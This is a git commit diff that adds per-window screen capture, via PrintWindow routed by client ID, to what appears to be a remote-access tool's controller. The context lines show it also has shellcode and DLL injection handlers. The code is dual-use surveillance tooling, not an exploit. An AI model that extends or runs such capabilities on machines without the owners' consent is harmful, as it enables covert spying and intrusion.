Feat: window capture via PrintWindow with server-side HWND routing by clientID

This commit is contained in:
yuanyuanxiang
2026-06-15 13:08:23 +02:00
parent 5757ec7965
commit d3b9e7faae
16 changed files with 210 additions and 10 deletions

View File

@@ -890,6 +890,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_MESSAGE(WM_TRIAL_WAN_IP_ABUSE, OnTrialWanIpAbuse)
ON_MESSAGE(WM_INJECT_SHELLCODE, InjectShellcode)
ON_MESSAGE(WM_ANTI_BLACKSCREEN, AntiBlackScreen)
ON_MESSAGE(WM_OPEN_WINDOW_SCREEN, OpenWindowScreen)
ON_MESSAGE(WM_SHARE_CLIENT, ShareClient)
ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient)
ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient)
@@ -10273,6 +10274,30 @@ void CMy2015RemoteDlg::InjectTinyRunDll(const std::string& ip, int pid)
SAFE_DELETE(tinyRun);
}
LRESULT CMy2015RemoteDlg::OpenWindowScreen(WPARAM wParam, LPARAM lParam)
{
// wParam: new char[2 * sizeof(uint64_t)],前 8 字节为 clientID后 8 字节为 HWND(uint64_t)
char* arg = (char*)wParam;
uint64_t clientID = 0, hwnd64 = 0;
memcpy(&clientID, arg, sizeof(uint64_t));
memcpy(&hwnd64, arg + sizeof(uint64_t), sizeof(uint64_t));
delete[] arg;
auto ctx = FindHost(clientID);
if (!ctx) return S_FALSE;
// 窗口捕获只能走 GDIPrintWindow忽略用户的 DXGI 设置
BOOL all = THIS_CFG.GetInt("settings", "MultiScreen", TRUE);
CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", ALGORITHM_NULL).c_str();
// [0]=COMMAND_SCREEN_SPY [1]=DXGI(强制GDI) [2]=algo [3]=all [4..11]=HWND(uint64_t)
BYTE bToken[32] = { COMMAND_SCREEN_SPY, (BYTE)USING_GDI,
(BYTE)(algo.IsEmpty() ? ALGORITHM_RGB565 : atoi(algo.GetString())),
(BYTE)all };
memcpy(bToken + 4, &hwnd64, sizeof(uint64_t));
screenParamModifier(ctx, bToken);
ctx->Send2Client(bToken, sizeof(bToken));
return S_OK;
}
LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam)
{
char* ip = (char*)wParam;